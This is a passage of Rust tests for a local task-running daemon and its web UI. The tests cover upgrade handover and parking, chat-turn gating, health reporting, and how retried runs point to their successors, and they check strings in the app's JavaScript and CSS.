15023 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15024 }
15025 assert!(
15026 log.contains(if fail { "did not start" } else { "pid 4242" }),
15027 "{log}"
15028 );
15029 }
15030 }
15031
15032 #[tokio::test]
15035 async fn the_handover_signal_wakes_one_waiter_once() {
15036 let signal = Notify::new();
15037 signal.notify_one();
15039 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15040 .await
15041 .expect("an early signal is still seen");
15042 assert!(
15044 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15045 .await
15046 .is_err(),
15047 "a consumed signal must not wake a second time"
15048 );
15049 let signal = std::sync::Arc::new(signal);
15051 let waiter = tokio::spawn({
15052 let signal = std::sync::Arc::clone(&signal);
15053 async move { wait_for_handover(&signal).await }
15054 });
15055 tokio::time::sleep(Duration::from_millis(20)).await;
15056 assert!(!waiter.is_finished(), "nothing was signalled yet");
15057 signal.notify_one();
15058 tokio::time::timeout(Duration::from_secs(5), waiter)
15059 .await
15060 .expect("a late signal wakes the waiter")
15061 .expect("join");
15062 }
15063
15064 #[tokio::test]
15065 async fn health_says_how_long_a_handover_has_been_stuck() {
15066 let fx = Fixture::start().await;
15067 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15068 progress.advance(crate::updater::Stage::Replaced);
15069 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15070 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15071
15072 let health = fx.get("/api/health").await.json();
15073 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15074 assert!(stuck >= 600, "{stuck}");
15075 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15076 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15077 }
15078
15079 #[tokio::test]
15080 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15081 let home = tempfile::tempdir().expect("temp home");
15082 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15083 progress.advance(crate::updater::Stage::Parking);
15084 crate::updater::write_progress(home.path(), &progress).expect("seed");
15085 let mut again = progress.clone();
15087 again.advance(crate::updater::Stage::Replaced);
15088 crate::updater::write_progress(home.path(), &again).expect("replaced");
15089 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15090 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15091 let after = crate::updater::read_progress(home.path()).expect("record");
15092 assert_eq!(after.stage, crate::updater::Stage::Parking);
15093 }
15094
15095 #[tokio::test]
15096 async fn health_does_not_call_a_live_parking_wait_stuck() {
15097 let fx = Fixture::start().await;
15098 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15099 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15100 progress.advance(crate::updater::Stage::Parking);
15101 let hours = Duration::from_secs(3 * 3600);
15102 progress.started_at = Timestamp::now() - hours;
15103 progress.updated_at = Timestamp::now() - hours;
15104 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15105 let _lease = crate::updater::LeaseGuard::enter(
15106 fx.home.path(),
15107 Some("20260905-000000-cd51".to_owned()),
15108 );
15109
15110 let health = fx.get("/api/health").await.json();
15111 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15112 assert!(health["upgrade"]["stuck_kind"].is_null());
15113 assert_eq!(health["upgrade"]["handover_alive"], true);
15114 let waiting_on = health["upgrade"]["waiting_on"]
15115 .as_str()
15116 .expect("waiting_on");
15117 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15118 }
15119
15120 fn idle_ui(home: &TempDir) -> Ui {
15121 let runs = home.path().join("runs");
15122 std::fs::create_dir_all(&runs).expect("runs dir");
15123 Ui::new(
15124 Queue::at(home.path().join("queue")),
15125 Questions::at(home.path().join("questions")),
15126 Talks::at(home.path().join("talks")),
15127 runs,
15128 home.path().to_path_buf(),
15129 PathBuf::from("/repo/magi"),
15130 )
15131 .with_launch(launch_idle)
15132 }
15133
15134 async fn park_fixture(
15135 home: &TempDir,
15136 ) -> (
15137 Ui,
15138 Arc<Mutex<LoopState>>,
15139 Arc<Mutex<TalkTurns>>,
15140 tokio::task::JoinHandle<std::io::Result<()>>,
15141 ) {
15142 let ui = idle_ui(home);
15143 let looping = ui.looping();
15144 let turns = ui.turns();
15145 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15146 .await
15147 .expect("bind loopback");
15148 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15149 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15150 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15151 (ui, looping, turns, served)
15152 }
15153
15154 #[tokio::test]
15158 async fn hand_over_waits_for_a_running_chat_turn() {
15159 let home = TempDir::new().expect("temp home");
15160 let (ui, looping, turns, served) = park_fixture(&home).await;
15161 let ui = Arc::new(ui);
15162 let id = "20260901-000000-chat";
15163 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15164
15165 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15166 let handover = tokio::spawn({
15167 let home = home.path().to_path_buf();
15168 let turns = Arc::clone(&turns);
15169 let calls = Arc::clone(&calls);
15170 async move {
15171 hand_over(
15172 &home,
15173 &looping,
15174 &turns,
15175 &|_: &[String]| Duration::from_secs(60),
15176 served,
15177 move |_| {
15178 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15179 Ok(1)
15180 },
15181 )
15182 .await
15183 }
15184 });
15185
15186 let waiting = async {
15187 for _ in 0..200 {
15188 if crate::updater::read_progress(home.path())
15189 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15190 {
15191 return;
15192 }
15193 tokio::time::sleep(Duration::from_millis(25)).await;
15194 }
15195 panic!("the park never named the chat turn");
15196 };
15197 waiting.await;
15198 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15199
15200 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15203 assert!(
15204 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15205 "a direct start says an upgrade is in progress"
15206 );
15207 assert!(
15208 ui.begin_queued_talk_turn("20260901-000000-late")
15209 .expect("queued claim")
15210 .is_none()
15211 );
15212 assert!(matches!(
15213 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15214 .expect("start"),
15215 TalkTurnStart::Busy
15216 ));
15217 assert_eq!(turns.lock().unwrap().live.len(), 1);
15218
15219 let progress = crate::updater::read_progress(home.path()).expect("progress");
15221 let view = upgrade_progress_view(&ui, progress);
15222 assert!(
15223 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15224 "{:?}",
15225 view.waiting_on
15226 );
15227
15228 assert!(!handover.is_finished());
15229 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15230 drop(turn);
15231 handover.await.expect("join").expect("hand over");
15232 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15233 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15234 }
15235
15236 #[tokio::test]
15239 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15240 let home = TempDir::new().expect("temp home");
15241 let (ui, looping, turns, served) = park_fixture(&home).await;
15242 let ui = Arc::new(ui);
15243 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15245 lock_or_recover(&looping).live = Some(Live {
15246 stop: daemon::Stop::new(),
15247 handle: tokio::spawn(async move {
15248 let _ = loop_ended.await;
15249 }),
15250 opts: daemon::Opts::default(),
15251 });
15252
15253 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15254 let handover = tokio::spawn({
15255 let home = home.path().to_path_buf();
15256 let turns = Arc::clone(&turns);
15257 let calls = Arc::clone(&calls);
15258 async move {
15259 hand_over(
15260 &home,
15261 &looping,
15262 &turns,
15263 &|_: &[String]| Duration::from_secs(60),
15264 served,
15265 move |_| {
15266 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15267 Ok(1)
15268 },
15269 )
15270 .await
15271 }
15272 });
15273
15274 let reached = async {
15275 for _ in 0..200 {
15276 if crate::updater::read_progress(home.path())
15277 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15278 {
15279 return;
15280 }
15281 tokio::time::sleep(Duration::from_millis(25)).await;
15282 }
15283 panic!("the hand-over never reached parking");
15284 };
15285 reached.await;
15286
15287 assert!(!turns.lock().unwrap().parking);
15289 let turn = ui
15290 .begin_talk_turn("20260901-000000-chat")
15291 .expect("claim")
15292 .expect("a turn can start while the loop parks");
15293
15294 end_loop.send(()).expect("loop still waiting");
15296 for _ in 0..200 {
15297 if turns.lock().unwrap().parking {
15298 break;
15299 }
15300 tokio::time::sleep(Duration::from_millis(25)).await;
15301 }
15302 assert!(
15303 turns.lock().unwrap().parking,
15304 "closed once the loop is done"
15305 );
15306 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15307 assert!(
15308 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15309 "no turn starts once the loop is done"
15310 );
15311 assert!(
15312 ui.begin_queued_talk_turn("20260901-000000-late")
15313 .expect("queued claim")
15314 .is_none()
15315 );
15316 assert!(!handover.is_finished());
15317 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15318
15319 drop(turn);
15320 handover.await.expect("join").expect("hand over");
15321 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15322 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15323 }
15324
15325 #[tokio::test]
15328 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15329 let home = TempDir::new().expect("temp home");
15330 let (ui, looping, turns, served) = park_fixture(&home).await;
15331 let id = "20260901-000000-stuk";
15332 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15333
15334 let calls = std::sync::atomic::AtomicUsize::new(0);
15335 hand_over(
15336 home.path(),
15337 &looping,
15338 &turns,
15339 &|_: &[String]| Duration::from_millis(300),
15340 served,
15341 |_| {
15342 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15343 Ok(1)
15344 },
15345 )
15346 .await
15347 .expect("hand over");
15348 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15349
15350 let progress = crate::updater::read_progress(home.path()).expect("progress");
15351 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15352 assert!(
15353 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15354 "{:?}",
15355 progress.detail
15356 );
15357 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15358 assert!(
15359 log.contains("handing over anyway") && log.contains(id),
15360 "{log}"
15361 );
15362 }
15363
15364 #[tokio::test]
15367 async fn drain_loop_starts_no_turn_while_parking() {
15368 let tmp = TempDir::new().expect("tempdir");
15369 let repo = tmp.path().join("repo");
15370 std::fs::create_dir_all(&repo).expect("repo dir");
15371 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15372 let home = TempDir::new().expect("temp home");
15373 let talks = Talks::at(home.path().join("talks"));
15374 let ui = Ui::new(
15375 Queue::at(home.path().join("queue")),
15376 Questions::at(home.path().join("questions")),
15377 talks.clone(),
15378 home.path().join("runs"),
15379 home.path().to_path_buf(),
15380 repo.clone(),
15381 )
15382 .with_worktrees_root(home.path().join("wt"));
15383 let cfg = config_for(&repo).await.expect("discover config");
15384 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15385 let id = talk.id.clone();
15386 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15387 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15388 let turns = ui.turns();
15389 let parking = ParkingTurns::begin(&turns);
15390
15391 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15392
15393 assert!(
15394 turns.lock().unwrap().live.is_empty(),
15395 "the slot is given up"
15396 );
15397 let fresh = talks.get(&id).expect("talk");
15398 assert_eq!(fresh.pending, "later", "the draft is still queued");
15399 assert!(fresh.turns.is_empty(), "no turn ran");
15400 drop(parking);
15401 }
15402
15403 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15405 let looping = ui.looping();
15406 let turns = ui.turns();
15407 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15408 .await
15409 .expect("bind loopback");
15410 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15411 let told = std::sync::Mutex::new(None);
15412 hand_over(
15413 home.path(),
15414 &looping,
15415 &turns,
15416 &|_: &[String]| Duration::from_secs(5),
15417 served,
15418 |resume| {
15419 *told.lock().unwrap() = Some(resume);
15420 Ok(1)
15421 },
15422 )
15423 .await
15424 .expect("hand over");
15425 told.into_inner().unwrap().expect("successor was started")
15426 }
15427
15428 #[tokio::test]
15429 async fn a_running_loop_is_resumed_by_the_successor() {
15430 let home = TempDir::new().expect("temp home");
15431 let ui = idle_ui(&home);
15432 ui.start_loop(None).expect("start");
15433 ui.park_for_upgrade().expect("park");
15434 for _ in 0..500 {
15436 if !ui.loop_view(None).running {
15437 break;
15438 }
15439 tokio::time::sleep(Duration::from_millis(2)).await;
15440 }
15441 assert!(handed_over(&home, ui).await, "a running loop must resume");
15442
15443 let successor = idle_ui(&home);
15444 assert!(!successor.loop_view(None).running);
15445 assert!(successor.resume_after_handover(true));
15446 assert!(successor.loop_view(None).running);
15447 successor.stop_loop(None, false).expect("stop");
15448 }
15449
15450 #[tokio::test]
15451 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15452 let home = TempDir::new().expect("temp home");
15453 let ui = idle_ui(&home);
15454 ui.start_loop(None).expect("start");
15455 ui.park_for_upgrade().expect("first park");
15456 ui.park_for_upgrade().expect("second park");
15457 assert!(handed_over(&home, ui).await);
15458 }
15459
15460 #[tokio::test]
15461 async fn a_stop_during_the_handover_wait_is_honoured() {
15462 let home = TempDir::new().expect("temp home");
15463 let ui = idle_ui(&home);
15464 ui.start_loop(None).expect("start");
15465 ui.park_for_upgrade().expect("park");
15466 ui.stop_loop(None, false).expect("stop");
15467 assert!(!handed_over(&home, ui).await);
15468 }
15469
15470 #[tokio::test]
15471 async fn an_idle_loop_stays_stopped_across_the_handover() {
15472 let home = TempDir::new().expect("temp home");
15473 let ui = idle_ui(&home);
15474 ui.park_for_upgrade().expect("park");
15475 assert!(!handed_over(&home, ui).await);
15476
15477 let successor = idle_ui(&home);
15478 assert!(!successor.resume_after_handover(false));
15479 assert!(!successor.loop_view(None).running);
15480 }
15481
15482 #[tokio::test]
15483 async fn a_loop_the_operator_stopped_is_not_resumed() {
15484 let home = TempDir::new().expect("temp home");
15485 let ui = idle_ui(&home);
15486 ui.start_loop(None).expect("start");
15487 ui.stop_loop(None, false).expect("stop");
15488 ui.park_for_upgrade().expect("park");
15489 assert!(!handed_over(&home, ui).await);
15490 }
15491
15492 #[test]
15493 fn only_an_explicit_one_requests_a_resume() {
15494 assert!(!resume_requested(None));
15495 assert!(!resume_requested(Some("0".into())));
15496 assert!(!resume_requested(Some("".into())));
15497 assert!(resume_requested(Some("1".into())));
15498 }
15499
15500 #[test]
15501 fn the_upgrade_button_arms_before_it_restarts_anything() {
15502 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15505 assert!(APP_JS.contains("Replace the binary and restart?"));
15506 assert!(APP_JS.contains("function confirmed("));
15507 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15512 assert!(
15516 APP_JS.contains("Parking, then restarting"),
15517 "the button says what it is waiting for"
15518 );
15519 assert!(APP_JS.contains("if (!out.to)"));
15522 }
15523
15524 #[test]
15525 fn stopping_the_loop_arms_but_starting_does_not() {
15526 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15529 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15530 assert!(APP_JS.contains("confirmed(button, question)"));
15531 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15534 assert!(APP_JS.contains("const label = btn.textContent;"));
15535 assert!(!APP_JS.contains("Neither direction is guarded"));
15536 }
15537
15538 #[test]
15539 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15540 assert!(
15541 APP_JS.contains("state.health.version"),
15542 "the operator wants to know what is running even with nothing newer"
15543 );
15544 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15545 }
15546
15547 #[test]
15548 fn the_upgrade_button_names_its_destination() {
15549 assert!(
15550 APP_JS.contains("`Update to ${update.to}`"),
15551 "pressing the button should not be a surprise about what it moves to"
15552 );
15553 }
15554
15555 #[test]
15556 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15557 for stage in ["downloading", "replaced", "parking", "restarting"] {
15558 assert!(
15559 APP_JS.contains(&format!("\"{stage}\"")),
15560 "the phone must be able to tell {stage} apart from the others"
15561 );
15562 }
15563 assert!(APP_JS.contains(".waiting_on"));
15564 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15569 assert!(APP_JS.contains("reconnects on its own"));
15570 }
15571
15572 #[test]
15573 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15574 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15583 ..APP_JS.find("function upgrade(").expect("upgrade")];
15584 assert!(
15585 !body.contains(
15586 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15587 ),
15588 "a failed upgrade must not take the whole strip over the way it used to"
15589 );
15590 assert!(
15591 body.contains("upgradeFailNote"),
15592 "the failure has to reach the loop's own note instead"
15593 );
15594 assert_eq!(
15598 body.matches("upgradeFailNote].filter(Boolean).join")
15599 .count(),
15600 2,
15601 "both loop-why writers (quiet and control) must fold the note in"
15602 );
15603 }
15604
15605 #[test]
15606 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15607 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15610 assert!(APP_JS.contains("function upgradeOverdue("));
15611 }
15612
15613 #[test]
15614 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15615 assert!(
15616 APP_JS.contains("Updated to ${upgradeInfo.to"),
15617 "the operator who asked for the restart wants to know it worked"
15618 );
15619 }
15620
15621 #[test]
15622 fn an_error_is_visible_from_where_the_button_is() {
15623 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15628 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15629 assert!(
15630 alert.contains("position: fixed"),
15631 "an error about the thing under your thumb has to be visible from \
15632 where your thumb is: {alert}"
15633 );
15634 assert!(
15635 alert.contains("z-index: 25"),
15636 "above the dock (20) and the run-actions FAB (15), so neither \
15637 buries it: {alert}"
15638 );
15639 assert!(
15640 alert.contains("var(--tap)"),
15641 "and clear of the dock and the home indicator: {alert}"
15642 );
15643 assert!(
15646 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15647 "the FAB's column stays free: {alert}"
15648 );
15649 }
15650
15651 #[tokio::test]
15652 async fn an_older_attempt_says_what_replaced_it() {
15653 let fx = Fixture::start().await;
15654 let q = fx.queue();
15655 let runs = fx.runs();
15656 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15657 write_run(&runs, first, RunStatus::Stalled);
15658 write_run(&runs, second, RunStatus::Blocked);
15659
15660 let mut t = Task::new(
15661 "one task".to_owned(),
15662 "do it".to_owned(),
15663 PathBuf::from("/repo"),
15664 Source::Human,
15665 );
15666 t.runs = vec![first.to_owned(), second.to_owned()];
15667 q.put(&mut t).expect("put");
15668
15669 let rows = fx.get("/api/runs").await.json();
15673 let by = |short: &str| -> Value {
15674 rows.as_array()
15675 .unwrap()
15676 .iter()
15677 .find(|r| r["short"] == short)
15678 .cloned()
15679 .unwrap_or(Value::Null)
15680 };
15681 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15682 assert!(
15683 by("bbbb")["superseded_by"].is_null(),
15684 "the latest attempt is not superseded by anything"
15685 );
15686 assert!(APP_JS.contains("run.superseded_by"));
15688 assert!(APP_JS.contains("Superseded by"));
15689 }
15690
15691 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15692 let mut t = Task::new(
15693 "one task".to_owned(),
15694 "do it".to_owned(),
15695 PathBuf::from("/repo"),
15696 Source::Human,
15697 );
15698 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15699 t.status = status;
15700 t
15701 }
15702
15703 #[test]
15704 fn source_link_picks_the_page_that_filed_the_task() {
15705 let agent = |node: &str| Source::Agent {
15706 run: "20260904-014455-ab12".to_owned(),
15707 node: node.to_owned(),
15708 };
15709 let chat = source_link(&agent("chat")).expect("chat link");
15710 assert_eq!(chat.kind, "chat");
15711 assert_eq!(chat.id, "20260904-014455-ab12");
15712 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15713 let run = source_link(&agent("implement")).expect("run link");
15714 assert_eq!(
15715 (run.kind, run.href.as_str()),
15716 ("run", "#/runs/20260904-014455-ab12")
15717 );
15718 assert_eq!(source_link(&Source::Human), None);
15719 assert_eq!(
15720 source_link(&Source::Issue {
15721 number: 3,
15722 repo: "o/r".to_owned()
15723 }),
15724 None
15725 );
15726 let odd = source_link(&Source::Agent {
15727 run: "a b/c".to_owned(),
15728 node: "chat".to_owned(),
15729 })
15730 .expect("link");
15731 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15732 }
15733
15734 #[test]
15735 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15736 assert!(
15737 !APP_JS.contains("src.node === \"chat\""),
15738 "inline href rule is back"
15739 );
15740 assert!(
15741 APP_JS.matches("sourceLinkOf(").count() >= 4,
15742 "helper must serve every page"
15743 );
15744 assert!(
15745 APP_JS.matches("openChatLink(").count() >= 3,
15746 "the run page still needs its explicit chat link"
15747 );
15748 assert!(
15749 !APP_JS.contains("const openChat = el("),
15750 "the Queue card duplicates its source label link again"
15751 );
15752 assert!(
15753 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15754 "the task page must link a chat source label too"
15755 );
15756 }
15757
15758 #[test]
15759 fn task_ref_carries_the_source_link_for_a_chat_task() {
15760 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15761 t.source = Source::Agent {
15762 run: "20260904-014455-ab12".to_owned(),
15763 node: "chat".to_owned(),
15764 };
15765 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15766 let v = serde_json::to_value(&out).expect("json");
15767 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15768 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15769 assert_eq!(v["source_label"], t.source.label());
15770
15771 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15772 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15773 .expect("json");
15774 assert!(v["source_link"].is_null(), "{v}");
15775 }
15776
15777 #[test]
15778 fn task_view_serializes_source_link() {
15779 let mut t = Task::new(
15780 "t".to_owned(),
15781 "t".to_owned(),
15782 PathBuf::from("/repo"),
15783 Source::Agent {
15784 run: "20260901-000000-aaaa".to_owned(),
15785 node: "implement".to_owned(),
15786 },
15787 );
15788 t.runs.clear();
15789 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15790 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15791 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15792 }
15793
15794 #[tokio::test]
15795 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15796 let fx = Fixture::start().await;
15797 let runs = fx.runs();
15798 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15799 write_run(&runs, old, RunStatus::Blocked);
15800 write_run(&runs, new, RunStatus::Merged);
15801 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15802 fx.queue().put(&mut t).expect("put");
15803
15804 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15805 let task = &view["task"];
15806 assert_eq!(task["status"], "done");
15807 assert_eq!(task["is_latest"], false);
15808 assert_eq!(task["latest"]["short"], "bbbb");
15809 assert_eq!(task["finished_by"]["id"], new);
15810 assert_eq!(task["finished_by"]["outcome"], "merged");
15811 assert_eq!(task["closed_by_hand"], false);
15812 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15813 assert!(APP_JS.contains("finished_by"));
15814 assert!(APP_JS.contains("superseded by run"));
15815 }
15816
15817 #[tokio::test]
15818 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15819 let fx = Fixture::start().await;
15820 let runs = fx.runs();
15821 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15822 write_run(&runs, old, RunStatus::Stalled);
15823 write_run(&runs, new, RunStatus::Blocked);
15824 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15825 fx.queue().put(&mut t).expect("put");
15826
15827 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15828 assert_eq!(task["status"], "held");
15829 assert_eq!(task["is_latest"], true);
15830 assert!(task["latest"].is_null());
15831 assert!(task["finished_by"].is_null());
15832 assert_eq!(task["closed_by_hand"], false);
15833 }
15834
15835 #[tokio::test]
15836 async fn a_direct_run_has_no_task_outcome() {
15837 let fx = Fixture::start().await;
15838 let runs = fx.runs();
15839 let id = "20260901-000000-aaaa";
15840 write_run(&runs, id, RunStatus::Blocked);
15841 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15842 assert!(view["task"].is_null());
15843 }
15844
15845 #[test]
15846 fn task_outcome_does_not_guess_a_finishing_run() {
15847 let a = "20260901-000000-aaaa";
15848 let b = "20260901-000000-bbbb";
15849 let c = "20260901-000000-cccc";
15850 let dir = tempfile::tempdir().expect("tempdir");
15851 write_run(dir.path(), a, RunStatus::Blocked);
15852 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15853 let read = |id: &str| read_run(dir.path(), id).ok();
15855 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15858 let out = task_outcome(&t, a, 3, read);
15859 assert!(out.finished_by.is_none());
15860 assert!(out.closed_by_hand);
15861 let latest = out.latest.expect("latest");
15862 assert_eq!(latest.id, c);
15863 assert_eq!(latest.status, None);
15864 assert_eq!(latest.outcome, "record unreadable");
15865
15866 write_run(dir.path(), c, RunStatus::Ready);
15868 let t = outcome_task(&[a, c], TaskStatus::Done);
15869 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15870 assert_eq!(out.finished_by.expect("finisher").id, c);
15871 assert!(!out.closed_by_hand);
15872
15873 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15875 assert!(task_outcome(&t, a, 3, read).is_latest);
15876 }
15877
15878 #[tokio::test]
15879 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15880 let fx = Fixture::start().await;
15885 let q = fx.queue();
15886 let runs = fx.runs();
15887 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15888 write_run(&runs, first, RunStatus::Blocked);
15889 write_run(&runs, second, RunStatus::Merged);
15890
15891 let mut t = Task::new(
15892 "one task".to_owned(),
15893 "do it".to_owned(),
15894 PathBuf::from("/repo"),
15895 Source::Human,
15896 );
15897 t.runs = vec![first.to_owned(), second.to_owned()];
15898 q.put(&mut t).expect("put");
15899
15900 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15901 assert_eq!(earlier["superseded_by"], "dddd");
15902 assert_eq!(earlier["latest_attempt"]["id"], second);
15903 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15904 assert_eq!(
15905 earlier["latest_attempt"]["resolved"], true,
15906 "the run that replaced it landed, so this one reads as settled"
15907 );
15908
15909 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15910 assert!(
15911 later["superseded_by"].is_null(),
15912 "the latest attempt is not superseded by anything"
15913 );
15914 assert!(
15915 later["latest_attempt"].is_null(),
15916 "the latest attempt has no later attempt of its own"
15917 );
15918
15919 assert!(APP_JS.contains("run.latest_attempt"));
15926 assert!(APP_JS.contains("data-superseded"));
15927 assert!(APP_JS.contains("#/runs/${latest.id}"));
15928 }
15929
15930 #[tokio::test]
15931 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15932 let fx = Fixture::start().await;
15938 let q = fx.queue();
15939 let runs = fx.runs();
15940 let (a, b, c) = (
15941 "20260901-000000-aaaa",
15942 "20260901-000000-bbbb",
15943 "20260901-000000-cccc",
15944 );
15945 write_run(&runs, a, RunStatus::Blocked);
15946 write_run(&runs, b, RunStatus::Blocked);
15947 write_run(&runs, c, RunStatus::Merged);
15948
15949 let mut t = Task::new(
15950 "retried twice".to_owned(),
15951 "do it".to_owned(),
15952 PathBuf::from("/repo"),
15953 Source::Human,
15954 );
15955 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15956 q.put(&mut t).expect("put");
15957
15958 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15959 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15960 assert_eq!(
15961 view["latest_attempt"]["id"], c,
15962 "the chain's current head, not the intermediate Blocked retry"
15963 );
15964 assert_eq!(view["latest_attempt"]["resolved"], true);
15965
15966 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15967 assert_eq!(mid["latest_attempt"]["id"], c);
15968 assert_eq!(mid["latest_attempt"]["resolved"], true);
15969 }
15970
15971 #[tokio::test]
15972 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15973 let fx = Fixture::start().await;
15974 let q = fx.queue();
15975 let runs = fx.runs();
15976
15977 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15980 write_run(&runs, still_blocked_a, RunStatus::Blocked);
